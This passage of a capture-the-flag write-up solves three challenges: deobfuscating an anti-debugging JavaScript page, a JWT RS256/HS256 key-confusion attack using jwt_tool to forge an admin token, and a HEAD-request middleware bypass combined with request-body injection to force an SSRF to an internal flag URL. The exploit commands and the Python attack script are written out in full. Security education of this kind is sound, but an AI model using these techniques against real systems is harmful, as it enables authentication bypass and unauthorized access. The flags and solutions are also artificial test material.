x=[0,0,0];const compare=(a,b)=>{let s='';for(let i=0;i<Math.max(a.length,b.length);i++){s+=String.fromCharCode((a.charCodeAt(i)||0)^(b.charCodeAt(i)||0))}return s};if(location.protocol=='file:'){x[0]=23}else{x[0]=57}if(compare(window.location.hostname,"you're invited!!!")==unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")){x[1]=88}else{x[1]=31}function yyy(){var uuu=false;var zzz=new Image();Object.defineProperty(zzz,'id',{get:function(){uuu=true;x[2]=54}});requestAnimationFrame(function X(){uuu=false;console.log("%c",zzz);if(!uuu){x[2]=98}})};yyy();function ooo(seed){var m=255;var a=11;var c=17;var z=seed||3;return function(){z=(a*z+c)%m;return z}}function iii(eee){ttt=eee[0]<<16|eee[1]<<8|eee[2];rrr=ooo(ttt);ggg=window.location.pathname.slice(1);hhh="";for(i=0;i<ggg.length;i++){hhh+=String.fromCharCode(ggg.charCodeAt(i)-1)}vvv=atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");mmm="";if(hhh.slice(0,2)=="go"&&hhh.charCodeAt(2)==118&&hhh.indexOf('ech-c')==4){for(i=0;i<vvv.length;i++){mmm+=String.fromCharCode(vvv.charCodeAt(i)^rrr())}alert("Thank you for accepting the invite!\n"+hhh+mmm)}}for(a=0;a!=1000;a++){debugger}$('.custom1').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:" YOU'RE INVITED! "});$('.custom2').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:"                 "});$('.custom3').catLED({type:'custom',color:'#FF0000',background_color:'#e0e0e0',size:10,rounded:5,font_type:4,value:"   WE WANT YOU!  "});setTimeout(function(){iii(x)},2000);

Looks like more JavaScript. We can run this through de4js again:

x = [0, 0, 0];
const compare = (a, b) => {
    let s = '';
    for (let i = 0; i < Math.max(a.length, b.length); i++) {
        s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0))
    }
    return s
};
if (location.protocol == 'file:') {
    x[0] = 23
} else {
    x[0] = 57
}
if (compare(window.location.hostname, "you're invited!!!") == unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")) {
    x[1] = 88
} else {
    x[1] = 31
}

function yyy() {
    var uuu = false;
    var zzz = new Image();
    Object.defineProperty(zzz, 'id', {
        get: function () {
            uuu = true;
            x[2] = 54
        }
    });
    requestAnimationFrame(function X() {
        uuu = false;
        console.log("%c", zzz);
        if (!uuu) {
            x[2] = 98
        }
    })
};
yyy();

function ooo(seed) {
    var m = 255;
    var a = 11;
    var c = 17;
    var z = seed || 3;
    return function () {
        z = (a * z + c) % m;
        return z
    }
}

function iii(eee) {
    ttt = eee[0] << 16 | eee[1] << 8 | eee[2];
    rrr = ooo(ttt);
    ggg = window.location.pathname.slice(1);
    hhh = "";
    for (i = 0; i < ggg.length; i++) {
        hhh += String.fromCharCode(ggg.charCodeAt(i) - 1)
    }
    vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
    mmm = "";
    if (hhh.slice(0, 2) == "go" && hhh.charCodeAt(2) == 118 && hhh.indexOf('ech-c') == 4) {
        for (i = 0; i < vvv.length; i++) {
            mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr())
        }
        alert("Thank you for accepting the invite!\n" + hhh + mmm)
    }
}
for (a = 0; a != 1000; a++) {
    debugger
}
$('.custom1').catLED({
    type: 'custom',
    color: '#FF0000',
    background_color: '#e0e0e0',
    size: 10,
    rounded: 5,
    font_type: 4,
    value: " YOU'RE INVITED! "
});
$('.custom2').catLED({
    type: 'custom',
    color: '#FF0000',
    background_color: '#e0e0e0',
    size: 10,
    rounded: 5,
    font_type: 4,
    value: "                 "
});
$('.custom3').catLED({
    type: 'custom',
    color: '#FF0000',
    background_color: '#e0e0e0',
    size: 10,
    rounded: 5,
    font_type: 4,
    value: "   WE WANT YOU!  "
});
setTimeout(function () {
    iii(x)
}, 2000);

We see checks against location.protocol and window.location.hostname initially. The check for window.location.hostname relies on compare, which just XORs two inputs together. Since XOR is commutative, we can identify the expected hostname:

const compare = (a, b) => {
  let s = "";
  for (let i = 0; i < Math.max(a.length, b.length); i++) {
    s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0));
  }
  return s;
};
compare(unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M"), "you're invited!!!")

which outputs govtech-ctf.local. From this, we can also guess that location.protocol should not be equal to "file:".

function iii(eee) {
  ttt = (eee[0] << 16) | (eee[1] << 8) | eee[2];
  rrr = ooo(ttt);
  ggg = window.location.pathname.slice(1);
  hhh = "";
  for (i = 0; i < ggg.length; i++) {
    hhh += String.fromCharCode(ggg.charCodeAt(i) - 1);
  }
  vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
  mmm = "";
  if (
    hhh.slice(0, 2) == "go" &&
    hhh.charCodeAt(2) == 118 &&
    hhh.indexOf("ech-c") == 4
  ) {
    for (i = 0; i < vvv.length; i++) {
      mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr());
    }
    alert("Thank you for accepting the invite!\n" + hhh + mmm);
  }
}

This function looks like our final goal. We can see a variable ggg influencing the value of hhh, which is expected to contain govtech-c. We make the assumption here that mmm contains the actually important part of the flag (we know the flag format is govtech-csg{...}) and patch out the check for hhh.

We can also remove the debugger trap:

for (a = 0; a != 1000; a++) {
  debugger;
}

Resulting in this code, which we can evaluate in a JavaScript console:

x = [0, 0, 0];
const compare = (a, b) => {
  let s = "";
  for (let i = 0; i < Math.max(a.length, b.length); i++) {
    s += String.fromCharCode((a.charCodeAt(i) || 0) ^ (b.charCodeAt(i) || 0));
  }
  return s;
};
if (location.protocol == "file:") {
  x[0] = 23;
} else {
  x[0] = 57;
}
// govtech-ctf.local
if (
  compare(window.location.hostname, "you're invited!!!") ==
  unescape("%1E%00%03S%17%06HD%0D%02%0FZ%09%0BB@M")
) {
  x[1] = 88;
} else {
  x[1] = 31;
}

x[0] = 57;
x[1] = 88;

function yyy() {
  var uuu = false;
  var zzz = new Image();
  Object.defineProperty(zzz, "id", {
    get: function () {
      uuu = true;
      x[2] = 54;
    },
  });
  requestAnimationFrame(function X() {
    uuu = false;
    console.log("%c", zzz);
    if (!uuu) {
      x[2] = 98;
    }
  });
}
yyy();

function ooo(seed) {
  var m = 255;
  var a = 11;
  var c = 17;
  var z = seed || 3;
  return function () {
    z = (a * z + c) % m;
    return z;
  };
}

function iii(eee) {
  ttt = (eee[0] << 16) | (eee[1] << 8) | eee[2];
  rrr = ooo(ttt);
  ggg = window.location.pathname.slice(1);
  hhh = "";
  for (i = 0; i < ggg.length; i++) {
    hhh += String.fromCharCode(ggg.charCodeAt(i) - 1);
  }
  vvv = atob("3V3jYanBpfDq5QAb7OMCcT//k/leaHVWaWLfhj4=");
  mmm = "";
  if (
    1 ||
    (hhh.slice(0, 2) == "go" &&
      hhh.charCodeAt(2) == 118 &&
      hhh.indexOf("ech-c") == 4)
  ) {
    for (i = 0; i < vvv.length; i++) {
      mmm += String.fromCharCode(vvv.charCodeAt(i) ^ rrr());
    }
    alert("Thank you for accepting the invite!\n" + hhh + mmm);
  }
}

$(".custom1").catLED({
  type: "custom",
  color: "#FF0000",
  background_color: "#e0e0e0",
  size: 10,
  rounded: 5,
  font_type: 4,
  value: " YOU'RE INVITED! ",
});
$(".custom2").catLED({
  type: "custom",
  color: "#FF0000",
  background_color: "#e0e0e0",
  size: 10,
  rounded: 5,
  font_type: 4,
  value: "                 ",
});
$(".custom3").catLED({
  type: "custom",
  color: "#FF0000",
  background_color: "#e0e0e0",
  size: 10,
  rounded: 5,
  font_type: 4,
  value: "   WE WANT YOU!  ",
});
setTimeout(function () {
  iii(x);
}, 2000);

Output: Thank you for accepting the invite!
B9.Trdqr.Itrshm.Cdrjsno.qd0.hmcdw-gslk{gr33tz_w3LC0m3_2_dA_t3@m_m8}
, flag is govtech-csg{gr33tz_w3LC0m3_2_dA_t3@m_m8}.

Web

Unlock Me

Our agents discovered COViD's admin panel! They also stole the credentials minion:banana, but it seems that the user isn't allowed in. Can you find another way?

When attempting to login, we see two web requests being made:

  • /login with username=minion, password=banana, with the reply being {"accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NDc4NDYzfQ.PZl5rJpErn3Etm4-Sq-CIvyhbtUVUUJXpNpCQxQVVwhlM0n4idYmgO-X3W44k_Vs4CX4lD2-UwMzl6Lssl5lhC80uQVOHWlzN9Y0jnABr2AOkTXR7h3SUwAdtp31hIXzfNjwOCL7PhgWDzmye0l_7O6Spv8rsHY_TDaYiL8zZVH_-BpJFbMyl74QLBsXvQjiHa4p85ztIqVFZC1YO3bOupsq1rFjSBv2vsbnqFnvjjzaLSI21rfEewTO7IwiRzKpLOeBwz9iUaARa1MqE7QPlgZs6Br_gkHLDY5-9A5cS-7GQWpebHf1ydI8Y04Vohs21Uuie7QpkvS9bfPHL0CO8su885nNwvSIKw0HVHg1AkSQ3t-kc6D_w0oFRF7ZtQFuHK8Uis_k-oyDBcOWbv3FYNXV6zB7eTsTUPPeohdtfV2eck01iJwTlrvz2fHzRVsGTIpeANGNf9emGb7ncnHR--tAI4rntAyAF0uqA9ms1o-wV4vB7X2pw-UwciUXIRGHQHlqYCQwNrpt9I395dtC7cJIKww2MHE51hQwbm3aD7RqdNXxpw73nzKTgkAL5DNZmWAx05dbndvvM2PHR6Pa3uK0seZ5X4PKrKJB9UOMQOc8cwmmttBz8NrTHF4Nv7PX1Eb8a6jhNRPNzvk0SWnqfr6AXyOHzrX1b96bOMYrOwc"}
  • /unlock with the above accessToken in an Authorization header, with the reply being {"error":"Only admins are allowed into HQ!"}

accessToken is a JSON Web Token which can be decoded into:

{
    "username": "minion",
    "role": "user",
    "iat": 1607478463
}

A JWT consists of 3 parts (separated by a .) encoded in base64:

  1. header: {"alg":"RS256","typ":"JWT"} in our token above
  2. payload: the actual data (username, role and iat above)
  3. signature: this is used to validate that the payload has not been tampered with

There are multiple ways to sign a JWT:

  • HS256: signing and validating with the same secret key. Both the issuer and receiver would need to have the same secret to sign and validate the token
  • RS256: signing with a private key and validating with the corresponding public key. In this situation, the public key is usually publicly available

There is an issue here: the header portion of the JWT is not validated by the signature. A well known attack here is to tamper with the token:

  1. Change alg to HS256
  2. Modify the payload
  3. Re-sign the token with the public key

Why does this work? To validate the token, the server would run something like

jwt.verify(token, publicKey)

If we were to provide a token with alg=RS256, this would function as expected.

However, if we were to provide a token with alg=HS256, we would be verifying our token with a secret that well, isn't actually secret!

At the bottom of the login page, we see a comment // TODO: Add client-side verification using public.pem (again hinting that this is a HS/RS confusion attack).

We can then use this public.pem with jwt_tool to tamper with the token:

(venv) justin@kali:~/tools/jwt_tool_latest$ python jwt_tool.py  eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MDkyMTQwfQ.Y7co05QRn5NjLOWMpkrYXtWFDMQImJdclFFzzUTWdK2mrQOUjmeEtPuo66d-6ye282c7UQ7UH4n1IKins2Zy9JZTc4bcc_CeEqY3w8lZXXBMtohx4vU1CnDx6qNww8t6moXLltpA1fqrrwW-nSxsQ5ZzGTmSX30tepkqZGguQEoMHOjkRQFkomBg6x7J4DiDXVxe76FSsSi86Vyy4smBn8vEFEQbso7KlK8em--2noB0xY7nNzWu92nqjARReMvrEUZ_7-mlM5k6rtzMIocYcf-6628i4P-Wrc8tdyFylviBgYbql4dG9Fda1zg-DErjl5MLfzkDoJ0ARVmjPxo4kuBmRSej83Q8k93L-gcqQgpZLgmJJi8GKt3mr-MlSRWc9UdT_0ARwNB8-Jlvjgkd9ij3rIj7HT1i57m8aR8ATGEd6wm7kkky_sg4cuaK-ylbwAUAQZKvChLSfWFiPPrLx-pQdEontYf109Zl86D7qCKWX0jvkM0mlRBbWHo0F1EuD2haRXEWZPdEtyrvUGV5wnxHlGmYcsoZNzS-HwaOEqqrku1uzSxs0kczfRzcUrPmKr96pa89n173yC_DqKW-22M1NfpU04Uc4yPttKjUnWvLfcAFyMfI9J9d6UssQxB9251O963ZYQvkeJag2p8X6wQMa55YvwnIeSRjs6meypY --exploit k --pubkey public.pem --inject --payloadclaim role --payloadvalue admin

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.1.0                \______|             @ticarpi

Original JWT:

File loaded: public.pem
jwttool_b0ef65abe173898289a4230029ead466 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzA5MjE0MH0.Bz9HR589OPlAqcnIhIAQTbC5ApbVQynlkiUJ72Jm9eM
(venv) justin@kali:~/tools/jwt_tool_latest$ ^C
(venv) justin@kali:~/tools/jwt_tool_latest$ curl http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/unlock -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzA5MjE0MH0.Bz9HR589OPlAqcnIhIAQTbC5ApbVQynlkiUJ72Jm9eM"
{"flag":"govtech-csg{5!gN_0F_+h3_T!m3S}"}

Note that as jwt_tool points out, this attack would only work on unpatched versions of JWT libraries. For example, node-jsonwebtoken defaults to disallowing the use of symmetric algorithms when the secretOrPublicKey contains BEGIN CERTIFICATE.

Breaking Free

Our agents managed to obtain the source code from the C2 server that COViD's bots used to register upon infecting its victim. Can you bypass the checks to retrieve more information from the C2 Server?

We're given the following application source:

const express = require('express');
const bodyParser = require('body-parser');
const axios = require('axios');
const app = express();
const router = express.Router();
const COVID_SECRET = process.env.COVID_SECRET;
const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g;
const Connection = require("./db-controller");
const dbController = new Connection();
const COVID_BACKEND = "web_challenge_5_dummy"

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

//Validates requests before we allow them to hit our endpoint
router.use("/register-covid-bot", (req, res, next) => {
  var invalidRequest = true;
  if (req.method === "GET") {
    if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) {
      invalidRequest = false;
    }
  } else {//Handle POST
    let covidBotID = req.headers['x-covid-bot']
    if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) {
      invalidRequest = false;
    }
  }

  if (invalidRequest) {
    res.status(404).send('Not found');
  } else {
    next();
  }

});

//registers UUID associated with covid bot to database
router.get("/register-covid-bot", (req, res) => {
  let { newID } = req.query;

  if (newID.match(COVID_BOT_ID_REGEX)) {
    //We enroll a maximum of 100 UUID at any time!!
    dbController.addBotID(newID).then(success => {
      res.send({
        "success": success
      });
    });
  }

});

//Change a known registered UUID
router.post("/register-covid-bot", (req, res) => {
  let payload = {
    url: COVID_BACKEND,
    oldBotID: req.headers['x-covid-bot'],
    ...req.body
  };
  if (payload.newBotID && payload.newBotID.match(COVID_BOT_ID_REGEX)) {
    dbController.changeBotID(payload.oldBotID, payload.newBotID).then(success => {
      if (success) {
        fetchResource(payload).then(httpResult => {
          res.send({ "success": success, "covid-bot-data": httpResult.data });
        })


      } else {
        res.send({ "success": success });
      }
    });
  } else {
    res.send({ "success": false });
  }

});

async function fetchResource(payload) {
  //TODO: fix dev routing at backend http://web_challenge_5_dummy/flag/42
  let result = await axios.get(`http://${payload.url}/${payload.newBotID}`).catch(err => { return { data: { "error": true } } });
  return result;
}

app.use("/", router);

Looking right at the bottom, the objective is obvious: access http://web_channelge_5_dummy/flag/42 for the flag.

Lets start from the top: before any requests reach the GET or POST handlers, we have to successfully pass through this middleware:

var invalidRequest = true;
if (req.method === "GET") {
  if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) {
    invalidRequest = false;
  }
} else {//Handle POST
  let covidBotID = req.headers['x-covid-bot']
  if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) {
    invalidRequest = false;
  }
}

if (invalidRequest) {
  res.status(404).send('Not found');
} else {
  next();
}
router.use("/register-covid-bot", (req, res, next) => {...}

This middleware is used to validate both GET and POST requests, but through different code paths. A GET request has to contain a string COVID_SECRET, which we can conclude is impossible to match. A POST request just has to contain a value in x-covid-bot matching a regex which is trivial to satisfy (we used online tools like https://www.browserling.com/tools/text-from-regex).

GET /register-covid-bot then creates a new bot, while POST /register-covid-bot changes the bot id and actually calls fetchRequest.

Unfortunately, before we can change a bot id and call fetchRequest, the bot needs to exist (we tried it).

Since matching COVID_SECRET is not possible, is there a way we can have our request hit the POST path in the middleware, but still end up in the GET /register-covid-bot handler?

It turns out that yes - if we were to make a HEAD request, req.method contains HEAD, but we still reach GET /register-covid-bot!

Okay, we can now create a new bot, but fetchResource makes requests to http://${payload.url}/${payload.newBotID}, we somehow need to force this to match http://web_challenge_5_dummy/flag/42.

This is the key part:

let payload = {
    url: COVID_BACKEND,
    oldBotID: req.headers['x-covid-bot'],
    ...req.body
};

The three dots ... are the spread operator, basically combining payload and req.body, except that if duplicate keys exist, the value in req.body will overwrite existing keys from payload.

An example:

inject = {"foo": 2, "foo-bar": "qwer"}
payload = {"foo": 1, "bar": "asdf", ...inject}

returns {foo: 2, bar: "asdf", foo-bar: "qwer"}.

We could thus set req.body.url=web_challenge_5_dummy/flag/42#, resulting in a final url of http://web_challenge_5_dummy/flag/42#<id that is ignored here>.

Attack

import requests
import time

HOST = "http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41051/"

t = int(time.time())
covid_id = f"ff87b735-cea6-434a-A721-{t:012}"
new_covid_id = f"ee47f72f-4427-4e14-Abce-{t:012}"

r = requests.head(HOST+"register-covid-bot",
    headers={"x-covid-bot": covid_id }, # for POST check
    params={ "newID": covid_id } # to create new bot
)
print(r.text)

r = requests.post(HOST+"register-covid-bot", headers={
    "x-covid-bot": covid_id
}, data={
    "newBotID": new_covid_id,
    "url": "web_challenge_5_dummy/flag/42#"
})

print(r.text)

returning {"success":true,"covid-bot-data":{"flag":"govtech-csg{ReQu3$t_h34D_0R_G3T?}"}}